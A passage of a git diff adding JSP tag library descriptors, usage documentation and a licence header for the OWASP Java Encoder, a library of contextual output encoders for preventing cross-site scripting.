+ <tag-class>org.owasp.encoder.tag.ForJavaScriptBlockTag</tag-class>
+ <body-content>empty</body-content>
+ <attribute>
+ <description>value to be written out</description>
+ <name>value</name>
+ <required>true</required>
+ <rtexprvalue>true</rtexprvalue>
+ <type>java.lang.String</type>
+ </attribute>
+ </tag>
+ <tag>
+ <description>
+ This method encodes for JavaScript strings contained within
+ a JavaScript or JSON file. This method is NOT safe for
+ use in ANY context embedded in HTML. The caller must
+ provide the surrounding quotation characters. This method
+ performs the same encode as Encode.forJavaScript(String) with
+ the exception that / and &amp; are not escaped and " and ' are
+ encoded as \" and \' respectively.
+ </description>
+ <display-name>forJavaScriptSource</display-name>
+ <name>forJavaScriptSource</name>
+ <tag-class>org.owasp.encoder.tag.ForJavaScriptSourceTag</tag-class>
+ <body-content>empty</body-content>
+ <attribute>
+ <description>value to be written out</description>
+ <name>value</name>
+ <required>true</required>
+ <rtexprvalue>true</rtexprvalue>
+ <type>java.lang.String</type>
+ </attribute>
+ </tag>
+ <tag>
+ <description>
+ Encodes for unquoted HTML attribute values. forHtml(String) or
+ forHtmlAttribute(String) should usually be preferred over this
+ method as quoted attributes are XHTML compliant.
+ </description>
+ <display-name>forHtmlUnquotedAttribute</display-name>
+ <name>forHtmlUnquotedAttribute</name>
+ <tag-class>org.owasp.encoder.tag.ForHtmlUnquotedAttributeTag</tag-class>
+ <body-content>empty</body-content>
+ <attribute>
+ <description>value to be written out</description>
+ <name>value</name>
+ <required>true</required>
+ <rtexprvalue>true</rtexprvalue>
+ <type>java.lang.String</type>
+ </attribute>
+ </tag>
+ <tag>
+ <description>
+ Performs percent-encoding of a URL according to RFC 3986. The provided
+ URL is assumed to a valid URL. This method does not do any checking on
+ the quality or safety of the URL itself. In many applications it may
+ be better to use java.net.URI instead. Note: this is a
+ particularly dangerous context to put untrusted content in, as for
+ example a "javascript:" URL provided by a malicious user would be
+ "properly" escaped, and still execute.
+ </description>
+ <display-name>forUri</display-name>
+ <name>forUri</name>
+ <tag-class>org.owasp.encoder.tag.ForUriTag</tag-class>
+ <body-content>empty</body-content>
+ <attribute>
+ <description>value to be written out</description>
+ <name>value</name>
+ <required>true</required>
+ <rtexprvalue>true</rtexprvalue>
+ <type>java.lang.String</type>
+ </attribute>
+ </tag>
+ <tag>
+ <description>
+ Encodes for CSS URL contexts. The context must be surrounded by "url()". It
+ is safe for use in both style blocks and attributes in HTML. Note: this does
+ not do any checking on the quality or safety of the URL itself. The caller
+ should insure that the URL is safe for embedding (e.g. input validation) by
+ other means.
+ </description>
+ <display-name>forCssUrl</display-name>
+ <name>forCssUrl</name>
+ <tag-class>org.owasp.encoder.tag.ForCssUrlTag</tag-class>
+ <body-content>empty</body-content>
+ <attribute>
+ <description>value to be written out</description>
+ <name>value</name>
+ <required>true</required>
+ <rtexprvalue>true</rtexprvalue>
+ <type>java.lang.String</type>
+ </attribute>
+ </tag>
+ <tag>
+ <description>
+ Encoder for XML comments. NOT FOR USE WITH (X)HTML CONTEXTS.
+ (X)HTML comments may be interpreted by browsers as something
+ other than a comment, typically in vendor specific extensions
+ (e.g. &amp;lt;--if[IE]--&amp;gt;.
+ For (X)HTML it is recommend that unsafe content never be included
+ in a comment.
+ </description>
+ <display-name>forXmlComment</display-name>
+ <name>forXmlComment</name>
+ <tag-class>org.owasp.encoder.tag.ForXmlCommentTag</tag-class>
+ <body-content>empty</body-content>
+ <attribute>
+ <description>value to be written out</description>
+ <name>value</name>
+ <required>true</required>
+ <rtexprvalue>true</rtexprvalue>
+ <type>java.lang.String</type>
+ </attribute>
+ </tag>
+ <tag>
+ <description>Encodes for HTML text attributes.</description>
+ <display-name>forHtmlAttribute</display-name>
+ <name>forHtmlAttribute</name>
+ <tag-class>org.owasp.encoder.tag.ForHtmlAttributeTag</tag-class>
+ <body-content>empty</body-content>
+ <attribute>
+ <description>value to be written out</description>
+ <name>value</name>
+ <required>true</required>
+ <rtexprvalue>true</rtexprvalue>
+ <type>java.lang.String</type>
+ </attribute>
+ </tag>
+ <tag>
+ <description>
+ Encodes for (X)HTML text content and text attributes.
+ </description>
+ <display-name>forHtml</display-name>
+ <name>forHtml</name>
+ <tag-class>org.owasp.encoder.tag.ForHtmlTag</tag-class>
+ <body-content>empty</body-content>
+ <attribute>
+ <description>value to be written out</description>
+ <name>value</name>
+ <required>true</required>
+ <rtexprvalue>true</rtexprvalue>
+ <type>java.lang.String</type>
+ </attribute>
+ </tag>
+ <tag>
+ <description>
+ Encodes for HTML text content. It does not escape
+ quotation characters and is thus unsafe for use with
+ HTML attributes. Use either forHtml or forHtmlAttribute for those
+ methods.
+ </description>
+ <display-name>forXmlContent</display-name>
+ <name>forXmlContent</name>
+ <tag-class>org.owasp.encoder.tag.ForXmlContentTag</tag-class>
+ <body-content>empty</body-content>
+ <attribute>
+ <description>value to be written out</description>
+ <name>value</name>
+ <required>true</required>
+ <rtexprvalue>true</rtexprvalue>
+ <type>java.lang.String</type>
+ </attribute>
+ </tag>
+ <tag>
+ <description>
+ Performs percent-encoding for a component of a URI, such as a query
+ parameter name or value, path or query-string. In particular this
+ method insures that special characters in the component do not get
+ interpreted as part of another component.
+ </description>
+ <display-name>forUriComponent</display-name>
+ <name>forUriComponent</name>
+ <tag-class>org.owasp.encoder.tag.ForUriComponentTag</tag-class>
+ <body-content>empty</body-content>
+ <attribute>
+ <description>value to be written out</description>
+ <name>value</name>
+ <required>true</required>
+ <rtexprvalue>true</rtexprvalue>
+ <type>java.lang.String</type>
+ </attribute>
+ </tag>
+ <tag>
+ <description>
+ Encodes for CSS strings. The context must be surrounded by quotation characters.
+ It is safe for use in both style blocks and attributes in HTML.
+ </description>
+ <display-name>forCssString</display-name>
+ <name>forCssString</name>
+ <tag-class>org.owasp.encoder.tag.ForCssStringTag</tag-class>
+ <body-content>empty</body-content>
+ <attribute>
+ <description>value to be written out</description>
+ <name>value</name>
+ <required>true</required>
+ <rtexprvalue>true</rtexprvalue>
+ <type>java.lang.String</type>
+ </attribute>
+ </tag>
+ <function>
+ <description>
+ Encodes for (X)HTML text content and text attributes.
+ </description>
+ <display-name>forHtml</display-name>
+ <name>forHtml</name>
+ <function-class>org.owasp.encoder.Encode</function-class>
+ <function-signature>java.lang.String forHtml(java.lang.String)</function-signature>
+ <example>forHtml(unsafeData)</example>
+ </function>
+ <function>
+ <description>
+ This method encodes for HTML text content. It does not escape
+ quotation characters and is thus unsafe for use with
+ HTML attributes. Use either forHtml or forHtmlAttribute for those
+ methods.
+ </description>
+ <display-name>forHtmlContent</display-name>
+ <name>forHtmlContent</name>
+ <function-class>org.owasp.encoder.Encode</function-class>
+ <function-signature>java.lang.String forHtmlContent(java.lang.String)</function-signature>
+ <example>forHtmlContent(unsafeData)</example>
+ </function>
+ <function>
+ <description>Encodes for HTML text attributes.</description>
+ <name>forHtmlAttribute</name>
+ <function-class>org.owasp.encoder.Encode</function-class>
+ <function-signature>java.lang.String forHtmlAttribute(java.lang.String)</function-signature>
+ <example>forHtmlAttribute(unsafeData)</example>
+ </function>
+ <function>
+ <description>
+ Encodes for unquoted HTML attribute values. forHtml(String) or
+ forHtmlAttribute(String) should usually be preferred over this
+ method as quoted attributes are XHTML compliant.
+ </description>
+ <display-name>forHtmlUnquotedAttribute</display-name>
+ <name>forHtmlUnquotedAttribute</name>
+ <function-class>org.owasp.encoder.Encode</function-class>
+ <function-signature>java.lang.String forHtmlUnquotedAttribute(java.lang.String)</function-signature>
+ <example>forHtmlUnquotedAttribute(unsafeData)</example>
+ </function>
+ <function>
+ <description>
+ Encodes for CSS strings. The context must be surrounded by quotation characters.
+ It is safe for use in both style blocks and attributes in HTML.
+ </description>
+ <display-name>forCssString</display-name>
+ <name>forCssString</name>
+ <function-class>org.owasp.encoder.Encode</function-class>
+ <function-signature>java.lang.String forCssString(java.lang.String)</function-signature>
+ <example>forCssString(unsafeData)</example>
+ </function>
+ <function>
+ <description>
+ Encodes for CSS URL contexts. The context must be surrounded by "url()". It
+ is safe for use in both style blocks and attributes in HTML. Note: this does
+ not do any checking on the quality or safety of the URL itself. The caller
+ should insure that the URL is safe for embedding (e.g. input validation) by
+ other means.
+ </description>
+ <display-name>forCssUrl</display-name>
+ <name>forCssUrl</name>
+ <function-class>org.owasp.encoder.Encode</function-class>
+ <function-signature>java.lang.String forCssUrl(java.lang.String)</function-signature>
+ <example>forCssUrl(unsafeData)</example>
+ </function>
+ <function>
+ <description>
+ Performs percent-encoding of a URL according to RFC 3986. The provided
+ URL is assumed to a valid URL. This method does not do any checking on
+ the quality or safety of the URL itself. In many applications it may
+ be better to use java.net.URI instead. Note: this is a
+ particularly dangerous context to put untrusted content in, as for
+ example a "javascript:" URL provided by a malicious user would be
+ "properly" escaped, and still execute.
+ </description>
+ <display-name>forUri</display-name>
+ <name>forUri</name>
+ <function-class>org.owasp.encoder.Encode</function-class>
+ <function-signature>java.lang.String forUri(java.lang.String)</function-signature>
+ <example>forUri(unsafeData)</example>
+ </function>
+ <function>
+ <description>
+ Performs percent-encoding for a component of a URI, such as a query
+ parameter name or value, path or query-string. In particular this
+ method insures that special characters in the component do not get
+ interpreted as part of another component.
+ </description>
+ <display-name>forUriComponent</display-name>
+ <name>forUriComponent</name>
+ <function-class>org.owasp.encoder.Encode</function-class>
+ <function-signature>java.lang.String forUriComponent(java.lang.String)</function-signature>
+ <example>forUriComponent(unsafeData)</example>
+ </function>
+ <function>
+ <description>Encodes for XML and XHTML.</description>
+ <display-name>forXml</display-name>
+ <name>forXml</name>
+ <function-class>org.owasp.encoder.Encode</function-class>
+ <function-signature>java.lang.String forXml(java.lang.String)</function-signature>
+ <example>forXml(unsafeData)</example>
+ </function>
+ <function>
+ <description>
+ Encodes for HTML text content. It does not escape
+ quotation characters and is thus unsafe for use with
+ HTML attributes. Use either forHtml or forHtmlAttribute for those
+ methods.
+ </description>
+ <display-name>forXmlContent</display-name>
+ <name>forXmlContent</name>
+ <function-class>org.owasp.encoder.Encode</function-class>
+ <function-signature>java.lang.String forXmlContent(java.lang.String)</function-signature>
+ <example>forXmlContent(unsafeData)</example>
+ </function>
+ <function>
+ <description>Encodes for XML and XHTML attribute content.</description>
+ <display-name>forXmlAttribute</display-name>
+ <name>forXmlAttribute</name>
+ <function-class>org.owasp.encoder.Encode</function-class>
+ <function-signature>java.lang.String forXmlAttribute(java.lang.String)</function-signature>
+ <example>forXmlAttribute(unsafeData)</example>
+ </function>
+ <function>
+ <description>
+ Encoder for XML comments. NOT FOR USE WITH (X)HTML CONTEXTS.
+ (X)HTML comments may be interpreted by browsers as something
+ other than a comment, typically in vendor specific extensions
+ (e.g. &amp;lt;--if[IE]--&amp;gt;.
+ For (X)HTML it is recommend that unsafe content never be included
+ in a comment.
+ </description>
+ <name>forXmlComment</name>
+ <function-class>org.owasp.encoder.Encode</function-class>
+ <function-signature>java.lang.String forXmlComment(java.lang.String)</function-signature>
+ <example>forXmlComment(unsafeData)</example>
+ </function>
+ <function>
+ <description>
+ Encodes data for an XML CDATA section. On the chance that the input
+ contains a terminating
+ &quot;]]&amp;gt;&quot;, it will be replaced by
+ &amp;quot;]]&amp;gt;]]&amp;lt;![CDATA[&amp;gt;&amp;quot;.
+ As with all XML contexts, characters that are invalid according to the
+ XML specification will be replaced by a space character. Caller must
+ provide the CDATA section boundaries.
+ </description>
+ <display-name>forCDATA</display-name>
+ <name>forCDATA</name>
+ <function-class>org.owasp.encoder.Encode</function-class>
+ <function-signature>java.lang.String forCDATA(java.lang.String)</function-signature>
+ <example>forCDATA(unsafeData)</example>
+ </function>
+ <function>
+ <description>
+ Encodes for a JavaScript string. It is safe for use in HTML
+ script attributes (such as onclick), script
+ blocks, JSON files, and JavaScript source. The caller MUST
+ provide the surrounding quotation characters for the string.
+ Since this performs additional encoding so it can work in all
+ of the JavaScript contexts listed, it may be slightly less
+ efficient then using one of the methods targetted to a specific
+ JavaScript context: forJavaScriptAttribute,
+ forJavaScriptBlock, or forJavaScriptSource.
+
+ Unless you are interested in saving a few bytes of output or
+ are writing a framework on top of this library, it is recommend
+ that you use this method over the others.
+ </description>
+ <display-name>forJavaScript</display-name>
+ <name>forJavaScript</name>
+ <function-class>org.owasp.encoder.Encode</function-class>
+ <function-signature>java.lang.String forJavaScript(java.lang.String)</function-signature>
+ <example>forJavaScript(unsafeData)</example>
+ </function>
+ <function>
+ <description>
+ This method encodes for JavaScript strings contained within
+ HTML script attributes (such as onclick). It is
+ NOT safe for use in script blocks. The caller MUST provide the
+ surrounding quotation characters. This method performs the
+ same encode as Encode.forJavaScript(String) with the
+ exception that / is not escaped.
+ </description>
+ <display-name>forJavaScriptAttribute</display-name>
+ <name>forJavaScriptAttribute</name>
+ <function-class>org.owasp.encoder.Encode</function-class>
+ <function-signature>java.lang.String forJavaScriptAttribute(java.lang.String)</function-signature>
+ <example>forJavaScriptAttribute(unsafeData)</example>
+ </function>
+ <function>
+ <description>
+ This method encodes for JavaScript strings contained within
+ HTML script blocks. It is NOT safe for use in script
+ attributes (such as onclick). The caller must
+ provide the surrounding quotation characters. This method
+ performs the same encode as Encode.forJavaScript(String)} with
+ the exception that " and ' are encoded as \" and \' respectively.
+ </description>
+ <display-name>forJavaScriptBlock</display-name>
+ <name>forJavaScriptBlock</name>
+ <function-class>org.owasp.encoder.Encode</function-class>
+ <function-signature>java.lang.String forJavaScriptBlock(java.lang.String)</function-signature>
+ <example>forJavaScriptBlock(unsafeData)</example>
+ </function>
+ <function>
+ <description>
+ This method encodes for JavaScript strings contained within
+ a JavaScript or JSON file. This method is NOT safe for
+ use in ANY context embedded in HTML. The caller must
+ provide the surrounding quotation characters. This method
+ performs the same encode as Encode.forJavaScript(String) with
+ the exception that / and &amp; are not escaped and " and ' are
+ encoded as \" and \' respectively.
+ </description>
+ <display-name>forJavaScriptSource</display-name>
+ <name>forJavaScriptSource</name>
+ <function-class>org.owasp.encoder.Encode</function-class>
+ <function-signature>java.lang.String forJavaScriptSource(java.lang.String)</function-signature>
+ <example>
+ &lt;%@page contentType="text/javascript; charset=UTF-8"%>
+ var data = '${forJavaScriptSource(unsafeData)}';
+ </example>
+ </function>
+</taglib> \ No newline at end of file
diff --git a/jsp/src/main/resources/META-INF/java-encoder.tld b/jsp/src/main/resources/META-INF/java-encoder.tld
new file mode 100644
index 0000000..b761de0
--- /dev/null
+++ b/jsp/src/main/resources/META-INF/java-encoder.tld
@@ -0,0 +1,403 @@
+<?xml version="1.0" encoding="UTF-8" ?>
+<taglib version="2.1" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-jsptaglibrary_2_1.xsd" xmlns="http://java.sun.com/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
+ <display-name>OWASP Java Encoder Project</display-name>
+ <tlib-version>1.0</tlib-version>
+ <short-name>java-encoder</short-name>
+ <uri>https://www.owasp.org/index.php/OWASP_Java_Encoder_Project</uri>
+ <tag>
+ <description>
+ Encodes data for an XML CDATA section. On the chance that the input
+ contains a terminating
+ &quot;]]&amp;gt;&quot;, it will be replaced by
+ &amp;quot;]]&amp;gt;]]&amp;lt;![CDATA[&amp;gt;&amp;quot;.
+ As with all XML contexts, characters that are invalid according to the
+ XML specification will be replaced by a space character. Caller must
+ provide the CDATA section boundaries.
+ </description>
+ <display-name>forCDATA</display-name>
+ <name>forCDATA</name>
+ <tag-class>org.owasp.encoder.tag.ForCDATATag</tag-class>
+ <body-content>empty</body-content>
+ <attribute>
+ <description>The value to be written out</description>
+ <name>value</name>
+ <required>true</required>
+ <rtexprvalue>true</rtexprvalue>
+ <type>java.lang.String</type>
+ </attribute>
+ </tag>
+ <tag>
+ <description>
+ This method encodes for HTML text content. It does not escape
+ quotation characters and is thus unsafe for use with
+ HTML attributes. Use either forHtml or forHtmlAttribute for those
+ methods.
+ </description>
+ <display-name>forHtmlContent</display-name>
+ <name>forHtmlContent</name>
+ <tag-class>org.owasp.encoder.tag.ForHtmlContentTag</tag-class>
+ <body-content>empty</body-content>
+ <attribute>
+ <description>value to be written out</description>
+ <name>value</name>
+ <required>true</required>
+ <rtexprvalue>true</rtexprvalue>
+ <type>java.lang.String</type>
+ </attribute>
+ </tag>
+ <tag>
+ <description>Encodes for XML and XHTML attribute content.</description>
+ <display-name>forXmlAttribute</display-name>
+ <name>forXmlAttribute</name>
+ <tag-class>org.owasp.encoder.tag.ForXmlAttributeTag</tag-class>
+ <body-content>empty</body-content>
+ <attribute>
+ <description>value to be written out</description>
+ <name>value</name>
+ <required>true</required>
+ <rtexprvalue>true</rtexprvalue>
+ <type>java.lang.String</type>
+ </attribute>
+ </tag>
+ <tag>
+ <description>Encodes for XML and XHTML.</description>
+ <display-name>forXml</display-name>
+ <name>forXml</name>
+ <tag-class>org.owasp.encoder.tag.ForXmlTag</tag-class>
+ <body-content>empty</body-content>
+ <attribute>
+ <description>value to be written out</description>
+ <name>value</name>
+ <required>true</required>
+ <rtexprvalue>true</rtexprvalue>
+ <type>java.lang.String</type>
+ </attribute>
+ </tag>
+ <tag>
+ <description>
+ Encodes for a JavaScript string. It is safe for use in HTML
+ script attributes (such as onclick), script
+ blocks, JSON files, and JavaScript source. The caller MUST
+ provide the surrounding quotation characters for the string.
+ Since this performs additional encoding so it can work in all
+ of the JavaScript contexts listed, it may be slightly less
+ efficient then using one of the methods targetted to a specific
+ JavaScript context: forJavaScriptAttribute,
+ forJavaScriptBlock, or forJavaScriptSource.
+
+ Unless you are interested in saving a few bytes of output or
+ are writing a framework on top of this library, it is recommend
+ that you use this method over the others.
+ </description>
+ <display-name>forJavaScript</display-name>
+ <name>forJavaScript</name>
+ <tag-class>org.owasp.encoder.tag.ForJavaScriptTag</tag-class>
+ <body-content>empty</body-content>
+ <attribute>
+ <description>value to be written out</description>
+ <name>value</name>
+ <required>true</required>
+ <rtexprvalue>true</rtexprvalue>
+ <type>java.lang.String</type>
+ </attribute>
+ </tag>
+ <tag>
+ <description>
+ Encodes for unquoted HTML attribute values. forHtml(String) or
+ forHtmlAttribute(String) should usually be preferred over this
+ method as quoted attributes are XHTML compliant.
+ </description>
+ <display-name>forHtmlUnquotedAttribute</display-name>
+ <name>forHtmlUnquotedAttribute</name>
+ <tag-class>org.owasp.encoder.tag.ForHtmlUnquotedAttributeTag</tag-class>
+ <body-content>empty</body-content>
+ <attribute>
+ <description>value to be written out</description>
+ <name>value</name>
+ <required>true</required>
+ <rtexprvalue>true</rtexprvalue>
+ <type>java.lang.String</type>
+ </attribute>
+ </tag>
+ <tag>
+ <description>
+ Performs percent-encoding of a URL according to RFC 3986. The provided
+ URL is assumed to a valid URL. This method does not do any checking on
+ the quality or safety of the URL itself. In many applications it may
+ be better to use java.net.URI instead. Note: this is a
+ particularly dangerous context to put untrusted content in, as for
+ example a "javascript:" URL provided by a malicious user would be
+ "properly" escaped, and still execute.
+ </description>
+ <display-name>forUri</display-name>
+ <name>forUri</name>
+ <tag-class>org.owasp.encoder.tag.ForUriTag</tag-class>
+ <body-content>empty</body-content>
+ <attribute>
+ <description>value to be written out</description>
+ <name>value</name>
+ <required>true</required>
+ <rtexprvalue>true</rtexprvalue>
+ <type>java.lang.String</type>
+ </attribute>
+ </tag>
+ <tag>
+ <description>
+ Encodes for CSS URL contexts. The context must be surrounded by "url()". It
+ is safe for use in both style blocks and attributes in HTML. Note: this does
+ not do any checking on the quality or safety of the URL itself. The caller
+ should insure that the URL is safe for embedding (e.g. input validation) by
+ other means.
+ </description>
+ <display-name>forCssUrl</display-name>
+ <name>forCssUrl</name>
+ <tag-class>org.owasp.encoder.tag.ForCssUrlTag</tag-class>
+ <body-content>empty</body-content>
+ <attribute>
+ <description>value to be written out</description>
+ <name>value</name>
+ <required>true</required>
+ <rtexprvalue>true</rtexprvalue>
+ <type>java.lang.String</type>
+ </attribute>
+ </tag>
+ <tag>
+ <description>Encodes for HTML text attributes.</description>
+ <display-name>forHtmlAttribute</display-name>
+ <name>forHtmlAttribute</name>
+ <tag-class>org.owasp.encoder.tag.ForHtmlAttributeTag</tag-class>
+ <body-content>empty</body-content>
+ <attribute>
+ <description>value to be written out</description>
+ <name>value</name>
+ <required>true</required>
+ <rtexprvalue>true</rtexprvalue>
+ <type>java.lang.String</type>
+ </attribute>
+ </tag>
+ <tag>
+ <description>
+ Encodes for (X)HTML text content and text attributes.
+ </description>
+ <display-name>forHtml</display-name>
+ <name>forHtml</name>
+ <tag-class>org.owasp.encoder.tag.ForHtmlTag</tag-class>
+ <body-content>empty</body-content>
+ <attribute>
+ <description>value to be written out</description>
+ <name>value</name>
+ <required>true</required>
+ <rtexprvalue>true</rtexprvalue>
+ <type>java.lang.String</type>
+ </attribute>
+ </tag>
+ <tag>
+ <description>
+ Encodes for HTML text content. It does not escape
+ quotation characters and is thus unsafe for use with
+ HTML attributes. Use either forHtml or forHtmlAttribute for those
+ methods.
+ </description>
+ <display-name>forXmlContent</display-name>
+ <name>forXmlContent</name>
+ <tag-class>org.owasp.encoder.tag.ForXmlContentTag</tag-class>
+ <body-content>empty</body-content>
+ <attribute>
+ <description>value to be written out</description>
+ <name>value</name>
+ <required>true</required>
+ <rtexprvalue>true</rtexprvalue>
+ <type>java.lang.String</type>
+ </attribute>
+ </tag>
+ <tag>
+ <description>
+ Performs percent-encoding for a component of a URI, such as a query
+ parameter name or value, path or query-string. In particular this
+ method insures that special characters in the component do not get
+ interpreted as part of another component.
+ </description>
+ <display-name>forUriComponent</display-name>
+ <name>forUriComponent</name>
+ <tag-class>org.owasp.encoder.tag.ForUriComponentTag</tag-class>
+ <body-content>empty</body-content>
+ <attribute>
+ <description>value to be written out</description>
+ <name>value</name>
+ <required>true</required>
+ <rtexprvalue>true</rtexprvalue>
+ <type>java.lang.String</type>
+ </attribute>
+ </tag>
+ <tag>
+ <description>
+ Encodes for CSS strings. The context must be surrounded by quotation characters.
+ It is safe for use in both style blocks and attributes in HTML.
+ </description>
+ <display-name>forCssString</display-name>
+ <name>forCssString</name>
+ <tag-class>org.owasp.encoder.tag.ForCssStringTag</tag-class>
+ <body-content>empty</body-content>
+ <attribute>
+ <description>value to be written out</description>
+ <name>value</name>
+ <required>true</required>
+ <rtexprvalue>true</rtexprvalue>
+ <type>java.lang.String</type>
+ </attribute>
+ </tag>
+ <function>
+ <description>
+ Encodes for (X)HTML text content and text attributes.
+ </description>
+ <display-name>forHtml</display-name>
+ <name>forHtml</name>
+ <function-class>org.owasp.encoder.Encode</function-class>
+ <function-signature>java.lang.String forHtml(java.lang.String)</function-signature>
+ <example>forHtml(unsafeData)</example>
+ </function>
+ <function>
+ <description>
+ This method encodes for HTML text content. It does not escape
+ quotation characters and is thus unsafe for use with
+ HTML attributes. Use either forHtml or forHtmlAttribute for those
+ methods.
+ </description>
+ <display-name>forHtmlContent</display-name>
+ <name>forHtmlContent</name>
+ <function-class>org.owasp.encoder.Encode</function-class>
+ <function-signature>java.lang.String forHtmlContent(java.lang.String)</function-signature>
+ <example>forHtmlContent(unsafeData)</example>
+ </function>
+ <function>
+ <description>Encodes for HTML text attributes.</description>
+ <name>forHtmlAttribute</name>
+ <function-class>org.owasp.encoder.Encode</function-class>
+ <function-signature>java.lang.String forHtmlAttribute(java.lang.String)</function-signature>
+ <example>forHtmlAttribute(unsafeData)</example>
+ </function>
+ <function>
+ <description>
+ Encodes for unquoted HTML attribute values. forHtml(String) or
+ forHtmlAttribute(String) should usually be preferred over this
+ method as quoted attributes are XHTML compliant.
+ </description>
+ <display-name>forHtmlUnquotedAttribute</display-name>
+ <name>forHtmlUnquotedAttribute</name>
+ <function-class>org.owasp.encoder.Encode</function-class>
+ <function-signature>java.lang.String forHtmlUnquotedAttribute(java.lang.String)</function-signature>
+ <example>forHtmlUnquotedAttribute(unsafeData)</example>
+ </function>
+ <function>
+ <description>
+ Encodes for CSS strings. The context must be surrounded by quotation characters.
+ It is safe for use in both style blocks and attributes in HTML.
+ </description>
+ <display-name>forCssString</display-name>
+ <name>forCssString</name>
+ <function-class>org.owasp.encoder.Encode</function-class>
+ <function-signature>java.lang.String forCssString(java.lang.String)</function-signature>
+ <example>forCssString(unsafeData)</example>
+ </function>
+ <function>
+ <description>
+ Encodes for CSS URL contexts. The context must be surrounded by "url()". It
+ is safe for use in both style blocks and attributes in HTML. Note: this does
+ not do any checking on the quality or safety of the URL itself. The caller
+ should insure that the URL is safe for embedding (e.g. input validation) by
+ other means.
+ </description>
+ <display-name>forCssUrl</display-name>
+ <name>forCssUrl</name>
+ <function-class>org.owasp.encoder.Encode</function-class>
+ <function-signature>java.lang.String forCssUrl(java.lang.String)</function-signature>
+ <example>forCssUrl(unsafeData)</example>
+ </function>
+ <function>
+ <description>
+ Performs percent-encoding of a URL according to RFC 3986. The provided
+ URL is assumed to a valid URL. This method does not do any checking on
+ the quality or safety of the URL itself. In many applications it may
+ be better to use java.net.URI instead. Note: this is a
+ particularly dangerous context to put untrusted content in, as for
+ example a "javascript:" URL provided by a malicious user would be
+ "properly" escaped, and still execute.
+ </description>
+ <display-name>forUri</display-name>
+ <name>forUri</name>
+ <function-class>org.owasp.encoder.Encode</function-class>
+ <function-signature>java.lang.String forUri(java.lang.String)</function-signature>
+ <example>forUri(unsafeData)</example>
+ </function>
+ <function>
+ <description>
+ Performs percent-encoding for a component of a URI, such as a query
+ parameter name or value, path or query-string. In particular this
+ method insures that special characters in the component do not get
+ interpreted as part of another component.
+ </description>
+ <display-name>forUriComponent</display-name>
+ <name>forUriComponent</name>
+ <function-class>org.owasp.encoder.Encode</function-class>
+ <function-signature>java.lang.String forUriComponent(java.lang.String)</function-signature>
+ <example>forUriComponent(unsafeData)</example>
+ </function>
+ <function>
+ <description>Encodes for XML and XHTML.</description>
+ <display-name>forXml</display-name>
+ <name>forXml</name>
+ <function-class>org.owasp.encoder.Encode</function-class>
+ <function-signature>java.lang.String forXml(java.lang.String)</function-signature>
+ <example>forXml(unsafeData)</example>
+ </function>
+ <function>
+ <description>
+ Encodes for HTML text content. It does not escape
+ quotation characters and is thus unsafe for use with
+ HTML attributes. Use either forHtml or forHtmlAttribute for those
+ methods.
+ </description>
+ <display-name>forXmlContent</display-name>
+ <name>forXmlContent</name>
+ <function-class>org.owasp.encoder.Encode</function-class>
+ <function-signature>java.lang.String forXmlContent(java.lang.String)</function-signature>
+ <example>forXmlContent(unsafeData)</example>
+ </function>
+ <function>
+ <description>Encodes for XML and XHTML attribute content.</description>
+ <display-name>forXmlAttribute</display-name>
+ <name>forXmlAttribute</name>
+ <function-class>org.owasp.encoder.Encode</function-class>
+ <function-signature>java.lang.String forXmlAttribute(java.lang.String)</function-signature>
+ <example>forXmlAttribute(unsafeData)</example>
+ </function>
+ <function>
+ <description>
+ Encodes data for an XML CDATA section. On the chance that the input
+ contains a terminating
+ &quot;]]&amp;gt;&quot;, it will be replaced by
+ &amp;quot;]]&amp;gt;]]&amp;lt;![CDATA[&amp;gt;&amp;quot;.
+ As with all XML contexts, characters that are invalid according to the
+ XML specification will be replaced by a space character. Caller must
+ provide the CDATA section boundaries.
+ </description>
+ <display-name>forCDATA</display-name>
+ <name>forCDATA</name>
+ <function-class>org.owasp.encoder.Encode</function-class>
+ <function-signature>java.lang.String forCDATA(java.lang.String)</function-signature>
+ <example>forCDATA(unsafeData)</example>
+ </function>
+ <function>
+ <description>
+ Encodes for a JavaScript string. It is safe for use in HTML
+ script attributes (such as onclick), script
+ blocks, JSON files, and JavaScript source. The caller MUST
+ provide the surrounding quotation characters for the string.
+ </description>
+ <display-name>forJavaScript</display-name>
+ <name>forJavaScript</name>
+ <function-class>org.owasp.encoder.Encode</function-class>
+ <function-signature>java.lang.String forJavaScript(java.lang.String)</function-signature>
+ <example>forJavaScript(unsafeData)</example>
+ </function>
+</taglib> \ No newline at end of file
diff --git a/jsp/src/site/markdown/index.md b/jsp/src/site/markdown/index.md
new file mode 100644
index 0000000..e2c305a
--- /dev/null
+++ b/jsp/src/site/markdown/index.md
@@ -0,0 +1,31 @@
+## OWASP JSP
+
+The OWASP JSP Encoder is a collection of high-performance low-overhead
+contextual encoders that, when utilized correctly, is an effective tool in
+preventing Web Application security vulnerabilities such as Cross-Site
+Scripting (XSS).
+
+Please see the [OWASP XSS Prevention Cheat Sheet](https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet)
+for more information on preventing XSS.
+
+### JSP Usage
+
+The JSP Encoder makes the use of the Java Encoder within JSP simple via a TLD that
+includes tags and a set of JSP EL functions:
+
+```xml
+<dependency>
+ <groupId>org.owasp.encoder</groupId>
+ <artifactId>encoder-jsp</artifactId>
+ <version>1.2.3</version>
+</dependency>
+```
+
+```JSP
+<%@taglib prefix="e" uri="https://www.owasp.org/index.php/OWASP_Java_Encoder_Project" %>
+
+<%-- ... --%>
+
+<p>Dynamic data via EL: ${e:forHtml(param.value)}</p>
+<p>Dynamic data via tag: <e:forHtml value="${param.value}" /></p>
+```
diff --git a/jsp/src/site/site.xml b/jsp/src/site/site.xml
new file mode 100644
index 0000000..dde2b60
--- /dev/null
+++ b/jsp/src/site/site.xml
@@ -0,0 +1,41 @@
+<?xml version="1.0" encoding="ISO-8859-1"?>
+<!--
+Copyright (c) 2015 Jeremy Long
+All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions
+are met:
+
+ * Redistributions of source code must retain the above
+ copyright notice, this list of conditions and the following
+ disclaimer.
+
+ * Redistributions in binary form must reproduce the above
+ copyright notice, this list of conditions and the following
+ disclaimer in the documentation and/or other materials
+ provided with the distribution.
+
+ * Neither the name of the OWASP nor the names of its
+ contributors may be used to endorse or promote products
+ derived from this software without specific prior written
+ permission.
+
